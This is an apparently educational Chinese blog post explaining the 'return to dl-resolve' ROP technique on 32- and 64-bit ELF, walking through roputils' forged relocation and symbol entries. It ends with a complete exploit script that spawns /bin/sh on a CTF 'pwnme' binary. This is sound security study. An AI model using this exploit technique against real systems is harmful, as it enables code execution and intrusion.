我们都知道,ELF在执行时,许多函数的地址是lazy binding的,即在第一次调用时才会解析其地址并填充至.got.plt
。对于具体这一解析过程是如何完成的,之前并不怎么了解,只知道是在.plt
中完成。其实之前Tiger有告诉我有一个名为roputils的工具,利用的就是构造所需信息,直接解析得到system
的地址进而ROP。但直到最近才去研究其代码,搞明白这一技术,即return to dl-resolve,具体是怎么回事。
关于这一技术,在phrack的某一期有具体介绍。在此,我们首先以32位为例,阐述其基本原理;之后则会分析64位环境下这一技术的一些注意点。
32位环境下return to dl-resolve
ELF文件的.dynamic
section里包含了ld.so
用于运行时解析函数地址的信息。其内容示例如下:
$ readelf -d bof32
Dynamic section at offset 0x614 contains 24 entries:
Tag Type Name/Value
0x00000001 (NEEDED) Shared library: [libc.so.6]
0x0000000c (INIT) 0x80482b0
0x0000000d (FINI) 0x80484f4
0x00000019 (INIT_ARRAY) 0x8049608
0x0000001b (INIT_ARRAYSZ)4(bytes)
0x0000001a (FINI_ARRAY) 0x804960c
0x0000001c (FINI_ARRAYSZ)4(bytes)
0x6ffffef5 (GNU_HASH) 0x804818c
0x00000005 (STRTAB) 0x804820c
0x00000006 (SYMTAB) 0x80481ac
0x0000000a (STRSZ)80(bytes) 0x0000000b (SYMENT)16(bytes)
0x00000015 (DEBUG) 0x0
0x00000003 (PLTGOT) 0x8049700
0x00000002 (PLTRELSZ)32(bytes)
0x00000014 (PLTREL) REL
0x00000017 (JMPREL) 0x8048290
0x00000011 (REL) 0x8048288
0x00000012 (RELSZ)8(bytes)
0x00000013 (RELENT)8(bytes)
0x6ffffffe (VERNEED) 0x8048268
0x6fffffff (VERNEEDNUM) 1
0x6ffffff0 (VERSYM) 0x804825c
0x00000000 (NULL) 0x0
其中的JMPREL
segment,对应于.rel.plt
section,是用来保存运行时重定位表的。它与.rel.dyn
类似,只不过.rel.plt
是用于函数重定位,.rel.dyn
是用于变量重定位。具体地,其内容如下:
$ readelf -r bof32
Relocation section '.rel.dyn' at offset 0x288 contains 1 entries:
Offset Info Type Sym.Value Sym. Name
080496fc 00000206 R_386_GLOB_DAT 00000000 __gmon_start__
Relocation section '.rel.plt' at offset 0x290 contains 4 entries:
Offset Info Type Sym.Value Sym. Name
0804970c 00000107 R_386_JUMP_SLOT 00000000read0804971000000207 R_386_JUMP_SLOT 00000000 __gmon_start__
0804971400000307 R_386_JUMP_SLOT 00000000 __libc_start_main
0804971800000407 R_386_JUMP_SLOT 00000000 write
可以看到,.rel.plt
里包含4个条目。事实上,之前.dynamic
section中的PLTRELSZ
即为.rel.plt
的总大小,32 bytes;PLTREL
则指明这些条目的类型为REL
;RELENT
指明了每个REL
类型条目的大小,8 bytes。于是32/8=4
即为条目个数。
这些条目的类型是Elf32_Rel
,其定义如下
typedefuint32_tElf32_Addr;typedefuint32_tElf32_Word;typedefstruct{Elf32_Addrr_offset;/* Address */Elf32_Wordr_info;/* Relocation type and symbol index */}Elf32_Rel;#define ELF32_R_SYM(val) ((val) >> 8)#define ELF32_R_TYPE(val) ((val) & 0xff)
我们以.rel.plt
第一条,即read
的条目为例,对比调试器显示的结果:
gdb-peda$ x/2x 0x8048290
0x8048290: 0x0804970c 0x00000107
显示的结果与之前$ readelf -r
的结果是相符的。具体地,r_offset
即为该函数在.got.plt
中的地址:
gdb-peda$ x/3i read0x80482f0 <read@plt>: jmp DWORD PTR ds:0x804970c
0x80482f6 <read@plt+6>: push 0x0
0x80482fb <read@plt+11>: jmp 0x80482e0
而r_info
则保存的是其类型和符号序号。根据宏的定义,可知对于此条目,其类型为ELF32_R_TYPE(r_info)=7
,对应于R_386_JUMP_SLOT
;其symbol index则为RLF32_R_SYM(r_info)=1
。
注意到之前$ readelf -r
所得到的结果中,包含有Sym.Value
和Sym. Name
信息。而这些信息就是通过symbol index找到的。具体地,.dynamic
section中的SYMTAB
,即.dynsym
section,保存的便是相关的符号信息。每一条symbol信息的大小在SYMENT
中体现,为16 bytes。通过$ readelf -s
来查看其内容如下:
$ readelf -s bof32
Symbol table '.dynsym' contains 6 entries:
Num: Value Size Type Bind Vis Ndx Name
0: 000000000 NOTYPE LOCAL DEFAULT UND
1: 000000000 FUNC GLOBAL DEFAULT UND read@GLIBC_2.0 (2)
2: 000000000 NOTYPE WEAK DEFAULT UND __gmon_start__
3: 000000000 FUNC GLOBAL DEFAULT UND __libc_start_main@GLIBC_2.0 (2)
4: 000000000 FUNC GLOBAL DEFAULT UND write@GLIBC_2.0 (2)
5: 0804850c 4 OBJECT GLOBAL DEFAULT 15 _IO_stdin_used
Symbol table '.symtab' contains 74 entries:
...
(注意我们这里只看.dynsym
,因为它是运行时所需的。诸如export/import的符号信息全在这里。而.symtab
是编译时的符号信息,这部分在strip
之后会被删除掉。)
可以看到,之前所说的read
函数的符号信息条目index确实为1。我们通过调试器来看看其实际内容:
gdb-peda$ x/4x 0x80481ac+16
0x80481bc: 0x0000001a 0x00000000 0x00000000 0x00000012
对比符号条目的定义如下:
typedefstruct{Elf32_Wordst_name;/* Symbol name (string tbl index) */Elf32_Addrst_value;/* Symbol value */Elf32_Wordst_size;/* Symbol size */unsignedcharst_info;/* Symbol type and binding */unsignedcharst_other;/* Symbol visibility under glibc>=2.2 */Elf32_Sectionst_shndx;/* Section index */}Elf32_Sym;
其结果与$ readelf -r
, $ readelf -s
的结果相符。具体地,st_name
保存的是该符号名称在STRTAB
,即.dynstr
中的地址:
gdb-peda$ x/s 0x804820c+0x1a
0x8048226: "read"
而对于其他项,如st_info
,st_other
等,我还没搞明白对应的意义。但在实际构造时,只需选择和其他相同的值应该即可。
OK,以上便是相关背景知识。现在我们来看看在call read@plt
时具体发生了什么。
gdb-peda$ x/3i read0x80482f0 <read@plt>: jmp DWORD PTR ds:0x804970c
0x80482f6 <read@plt+6>: push 0x0
0x80482fb <read@plt+11>: jmp 0x80482e0
gdb-peda$ x/wx 0x804970c
0x804970c <read@got.plt>: 0x080482f6
gdb-peda$ x/2i 0x80482e0
0x80482e0: push DWORD PTR ds:0x8049704
0x80482e6: jmp DWORD PTR ds:0x8049708
在第一次调用时,jmp read@got.plt
会跳回read@plt
,这是我们已经知道的。接下来,会将参数push到栈上并跳至.got.plt+0x8
,这相当于调用以下函数:
_dl_runtime_resolve(link_map,rel_offset);
_dl_runtime_resolve
则会完成具体的符号解析,填充结果,和调用的工作。具体地。根据rel_offset
,找到重定位条目:
Elf32_Rel*rel_entry=JMPREL+rel_offset;
根据rel_entry
中的符号表条目编号,得到对应的符号信息:
Elf32_Sym*sym_entry=SYMTAB[ELF32_R_SYM(rel_entry->r_info)];
再找到符号信息中的符号名称:
char*sym_name=STRTAB+sym_entry->st_name;
由此名称,搜索动态库。找到地址后,填充至.got.plt
对应位置。最后调整栈,调用这一解析得到的函数。
于是,我们的思路是,提供一个很大的数作为rel_offset
给_dl_runtime_resolve
,使得找到rel_entry
落在我们可控制的区域内。同理,构造伪条目,使得所对应的符号信息、符号的名称,均落在我们可控的区域内,那么就可以解析我们所需的函数地址并调用了。值得注意的是,在解析过程中,还会对ELF32_R_TYPE(rel_entry->r_info)
等进行检查。但这些数据我们只需仿照正常的来构造即可,重点是对应的伪条目的index应计算正确。
作为实例,我们来看看roputils里是如何构造伪条目的。首先是函数dl_resolve_data
。其定义如下:
defdl_resolve_data(self,base,name):jmprel=self.dynamic('JMPREL')relent=self.dynamic('RELENT')symtab=self.dynamic('SYMTAB')syment=self.dynamic('SYMENT')strtab=self.dynamic('STRTAB')addr_reloc,padlen_reloc=self.align(base,jmprel,relent)addr_sym,padlen_sym=self.align(addr_reloc+relent,symtab,syment)addr_symstr=addr_sym+symentr_info=(((addr_sym-symtab)/syment)<<8)|0x7st_name=addr_symstr-strtabbuf=self.fill(padlen_reloc)buf+=struct.pack('<II',base,r_info)# Elf32_Relbuf+=self.fill(padlen_sym)buf+=struct.pack('<IIII',st_name,0,0,0x12)# Elf32_Symbuf+=self.string(name)returnbuf
从base
开始便是用户可控的区域,也是用来构造伪Elf32_Rel
, 伪Elf32_Sym
,和符号名称的地方。具体的存放地址,还是根据数组条目的大小进行了对齐。而需要检查的地方,则全部硬编码了,只需计算这些伪条目对应在数组中的index填充即可。
其次便是函数dl_resolve_call
了。其定义如下:
defdl_resolve_call(self,base,*args):jmprel=self.dynamic('JMPREL')relent=self.dynamic('RELENT')addr_reloc,padlen_reloc=self.align(base,jmprel,relent)reloc_offset=addr_reloc-jmprelbuf=self.p(self.plt())buf+=self.p(reloc_offset)buf+=self.p(self.gadget('pop',n=len(args)))buf+=self.p(args)returnbuf
可以看到,这里将所调用的函数的参数及返回的gadget放在栈上,再往上便是构造的伪Elf32_Rel
条目的offset,最后则是.plt
起始处的地址,在那里会完成将link_map
放至栈上及调用_dl_runtime_resolve
。
64位环境下return to dl-resolve
相比32位,其实基本原理还是相同的。只是由于位数增加,一些结构体发生变化;此外,函数参数也变成由寄存器传递而非栈传递。
具体地,我们看64位relocation entry的定义。首先通过$ readelf -d
可知,现在的类型为RELA
,大小RELAENT
为24 bytes:
$ readelf -d bof64
Dynamic section at offset 0x7b0 contains 24 entries:
Tag Type Name/Value
0x0000000000000001 (NEEDED) Shared library: [libc.so.6]
0x000000000000000c (INIT) 0x4003e0
0x000000000000000d (FINI) 0x400634
0x0000000000000019 (INIT_ARRAY) 0x600798
0x000000000000001b (INIT_ARRAYSZ)8(bytes)
0x000000000000001a (FINI_ARRAY) 0x6007a0
0x000000000000001c (FINI_ARRAYSZ)8(bytes)
0x000000006ffffef5 (GNU_HASH) 0x400260
0x0000000000000005 (STRTAB) 0x4002f8
0x0000000000000006 (SYMTAB) 0x400280
0x000000000000000a (STRSZ)67(bytes)
0x000000000000000b (SYMENT)24(bytes)
0x0000000000000015 (DEBUG) 0x0
0x0000000000000003 (PLTGOT) 0x600988
0x0000000000000002 (PLTRELSZ)96(bytes)
0x0000000000000014 (PLTREL) RELA
0x0000000000000017 (JMPREL) 0x400380
0x0000000000000007 (RELA) 0x400368
0x0000000000000008 (RELASZ)24(bytes)
0x0000000000000009 (RELAENT)24(bytes)
0x000000006ffffffe (VERNEED) 0x400348
0x000000006fffffff (VERNEEDNUM) 1
0x000000006ffffff0 (VERSYM) 0x40033c
0x0000000000000000 (NULL) 0x0
其定义如下:
typedef__u16Elf64_Half;typedef__u32Elf64_Word;typedef__u64Elf64_Addr;typedef__u64Elf64_Xword;typedef__s64Elf64_Sxword;typedefstructelf64_rela{Elf64_Addrr_offset;/* Location at which to apply the action */Elf64_Xwordr_info;/* index and type of relocation */Elf64_Sxwordr_addend;/* Constant addend used to compute value */}Elf64_Rela;#define ELF64_R_SYM(i) ((i) >> 32)#define ELF64_R_TYPE(i) ((i) & 0xffffffff)
相应地,在roputils中,64位下构造伪Elf64_Rela的代码如下:
...r_info=(((addr_sym-symtab)/syment)<<32)|0x7...buf+=struct.pack('<QQQ',base,r_info,0)# Elf64_Rela
SYMTAB
中的条目定义则变化如下:
typedefstructelf64_sym{Elf64_Wordst_name;/* Symbol name, index in string tbl */unsignedcharst_info;/* Type and binding attributes */unsignedcharst_other;/* No defined meaning, 0 */Elf64_Halfst_shndx;/* Associated section index */Elf64_Addrst_value;/* Value of the symbol */Elf64_Xwordst_size;/* Associated symbol size */}Elf64_Sym;
可以看到,st_info
,st_other
等的位置被提前了。对应于roputils中的代码则为:
buf+=struct.pack('<IIQQ',st_name,0x12,0,0)# Elf64_Sym
以上便是相关结构的变更情况。接下来,我们看roputils中传递函数参数的相关代码。
首先,看看64位下.plt
中解析函数地址的代码:
gdb-peda$ x/3i read0x400420 <read@plt>: jmp QWORD PTR [rip+0x200582]# 0x6009a8 <read@got.plt>
0x400426 <read@plt+6>: push 0x1
0x40042b <read@plt+11>: jmp 0x400400
gdb-peda$ x/2i 0x400400
0x400400: push QWORD PTR [rip+0x20058a]# 0x600990
0x400406: jmp QWORD PTR [rip+0x20058c]# 0x600998
可以看到,给_dl_runtime_resolve
传递的参数仍然是两个,但第二个参数已由之前32位的相对JMPREL
的偏移变为该条目的在数组中的index。相应地,roputils在这里也进行了改变:
...addr_reloc,padlen_reloc=self.align(base,jmprel,relaent)reloc_offset=(addr_reloc-jmprel)/relaentbuf=self.p(self.plt())buf+=self.p(reloc_offset)...
另外,注意到给_dl_runtime_resolve
传递参数的方式,依然是通过栈,而非一般情况下通过寄存器传递。这是因为此时的寄存器rdi
等中已经存有要解析的函数所需的参数了。具体地,roputils中是通过某些gadget来将所需的参数,如/bin/sh
的地址,保存在寄存器中。
然而,阅读roputils的示例代码,我们发现它还会在解析函数地址之前,将link_map+0x1c8
处设为NULL
。我们试着去掉这一操作,再执行发现遇到segfault了:
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x40033c --> 0x2000200020000
RBX: 0x600efc --> 0x600efc66477747
RCX: 0x155dc00000007
RDX: 0x155dc
RSI: 0x600f20 --> 0x1200200c40
RDI: 0x4002f8 --> 0x6f732e6362696c00 ('')
RBP: 0x0
RSP: 0x600da8 --> 0x0
RIP: 0x7ffff7de9448 (<_dl_fixup+120>: movzx eax,WORD PTR [rax+rdx*2])
R8 : 0x600f00 --> 0x600efc --> 0x600efc66477747
R9 : 0x7ffff7dea4e0 (<_dl_fini>: push rbp)
R10: 0x7ffff7ffe130 --> 0x0
R11: 0x246
R12: 0x0
R13: 0x0
R14: 0x0
R15: 0x0
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)[-------------------------------------code-------------------------------------]
0x7ffff7de943b <_dl_fixup+107>: test rax,rax
0x7ffff7de943e <_dl_fixup+110>: je 0x7ffff7de9530 <_dl_fixup+352>
0x7ffff7de9444 <_dl_fixup+116>: mov rax,QWORD PTR [rax+0x8]=> 0x7ffff7de9448 <_dl_fixup+120>: movzx eax,WORD PTR [rax+rdx*2]
0x7ffff7de944c <_dl_fixup+124>: and eax,0x7fff
0x7ffff7de9451 <_dl_fixup+129>: lea rdx,[rax+rax*2]
0x7ffff7de9455 <_dl_fixup+133>: mov rax,QWORD PTR [r10+0x2e0]
0x7ffff7de945c <_dl_fixup+140>: lea r8,[rax+rdx*8][------------------------------------stack-------------------------------------]
0000| 0x600da8 --> 0x0
0008| 0x600db0 --> 0x600f20 --> 0x1200200c40
0016| 0x600db8 --> 0x0
0024| 0x600dc0 --> 0x0
0032| 0x600dc8 --> 0x0
0040| 0x600dd0 --> 0x7ffff7defd00 (<_dl_runtime_resolve+80>: mov r11,rax)
0048| 0x600dd8 ("jweM5ZXF")
0056| 0x600de0 --> 0x0
[------------------------------------------------------------------------------]
这其中,rax=0x40033c
是.gnu.version
所在。而这里还存在一处检查。查看dl-runtime.c
文件,这部分对应的代码如下:
/* Look up the target symbol. If the normal lookup rules are not used don't look in the global scope. */if(__builtin_expect(ELFW(ST_VISIBILITY)(sym->st_other),0)==0){conststructr_found_version*version=NULL;if(l->l_info[VERSYMIDX(DT_VERSYM)]!=NULL){constElfW(Half)*vernum=(constvoid*)D_PTR(l,l_info[VERSYMIDX(DT_VERSYM)]);ElfW(Half)ndx=vernum[ELFW(R_SYM)(reloc->r_info)]&0x7fff;version=&l->l_versions[ndx];if(version->hash==0)version=NULL;}
这里,应该是由于我们构造的伪symbol的index过大,使得vernum[ELFW(R_SYM) (reloc->r_info)]
读取出错。为了绕过这部分,roputils选择的方法便是令l->l_info[VERSYMIDX (DT_VERSYM)] == NULL
。相关的汇编代码如下:
...
0x00007ffff7de9434 <+100>: mov rax,QWORD PTR [r10+0x1c8]
0x00007ffff7de943b <+107>: test rax,rax
0x00007ffff7de943e <+110>: je 0x7ffff7de9530 <_dl_fixup+352>
0x00007ffff7de9444 <+116>: mov rax,QWORD PTR [rax+0x8]=> 0x00007ffff7de9448 <+120>: movzx eax,WORD PTR [rax+rdx*2]
0x00007ffff7de944c <+124>: and eax,0x7fff
...
这里的r10
保存的便是link_map
的地址,所以只需QWORD PTR [r10+0x1c8]
处为NULL
即可跳过这一段。这便是roputils中这一操作的由来。
实例
这里选取的是去年ISG初赛的pwnme。这是一道漏洞很明显,但利用起来较复杂的题目。二进制文件基本信息如下:
$ checksec --file pwnme
RELRO STACK CANARY NX PIE RPATH RUNPATH FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH pwnme
主函数内即存在溢出,具体汇编代码如下:
...
4005bd: 55 push %rbp
4005be: 4889 e5 mov %rsp,%rbp
4005c1: 4883 ec 10 sub $0x10,%rsp
4005c5: bf 3c 000000 mov $0x3c,%edi
4005ca: e8 c1 fe ff ff callq 400490<alarm@plt>
4005cf: ba 13000000 mov $0x13,%edx
4005d4: be 84064000 mov $0x400684,%esi
4005d9: bf 01000000 mov $0x1,%edi
4005de: e8 9d fe ff ff callq 400480<write@plt>
4005e3: 48 8d 45 f0 lea -0x10(%rbp),%rax
4005e7: ba 00010000 mov $0x100,%edx
4005ec: 4889 c6 mov %rax,%rsi
4005ef: bf 00000000 mov $0x0,%edi
4005f4: e8 a7 fe ff ff callq 4004a0 <read@plt>
4005f9: b8 00000000 mov $0x0,%eax
4005fe: c9 leaveq
4005ff: c3 retq
...
可以看到,这里有调用read
和write
,可供我们读写内存。但由于二进制文件本身较简略,构造ROP chain比较有技术含量。我们队当时并没有做出来这道题,赛后看writeup,大多是利用ROP来mem leak,读取足够的内存后构造出execve
得到shell。
但是,如果使用return to dl-resolve技术,利用roputils,则可以1分钟之内傻瓜式解决……我就只是把roputils自带的examples中的dl-resolve-x86-64.py
稍作修改即完成。改后的代码如下:
#!/usr/bin/env python2fromroputilsimport*fpath=sys.argv[1]offset=0x18rop=ROP(fpath)addr_stage=rop.section('.bss')+0x400ptr_ret=rop.search(rop.section('.fini'))buf=rop.retfill(offset)buf+=rop.call_chain_ptr(['write',1,rop.got()+8,8],['read',0,addr_stage,420],pivot=addr_stage)buf+=rop.fill(0x100,buf)p=Proc(rop.fpath)p.write(buf)p.read(0x13)addr_link_map=p.read_p64()print("link_map is at %s"%hex(addr_link_map))addr_dt_debug=addr_link_map+0x1c8buf=rop.call_chain_ptr(['read',0,addr_dt_debug,8],[ptr_ret,addr_stage+400])buf+=rop.dl_resolve_call(addr_stage+300)buf+=rop.fill(300,buf)buf+=rop.dl_resolve_data(addr_stage+300,'system')buf+=rop.fill(400,buf)buf+=rop.string('/bin/sh')buf+=rop.fill(420,buf)p.write(buf)p.write_p64(0)p.interact(0)
确实相比mem leak构造ROP,简洁太多了……
总结
之前,我的ROP方式,基本都是通过mem leak,读.got.plt
,找到system
的地址并调用;极少数情况下,无法mem leak,则是完全根据已有的gadget拼出ROP cain(见http://rk700.github.io/writeup/2014/11/14/unexploitable/)。现在,有了return to dl-resolve,就添加了一种思路。当然,对于64位,这种技术依然需要有读、写内存的gadgets。从理论上讲,有了这些gadgets, mem leak去找system
的地址应该也可以。但相对来说,return to dl-resolve显得简洁、优雅一些。现在64位return to dl-resolve需要读内存,是为了找到link_map+0x1c8
的地址以便写入。如果能够继续研究出不需要读内存的方法,则面对当下主流的64位NX, ASLR,return to dl-resolve的可适性会更加高。希望感兴趣的小伙伴可以一同讨论研究,完善这一技术。
参考
http://phrack.org/issues/58/4.html#article
http://docs.oracle.com/cd/E23824_01/html/819-0690/chapter6-42444.html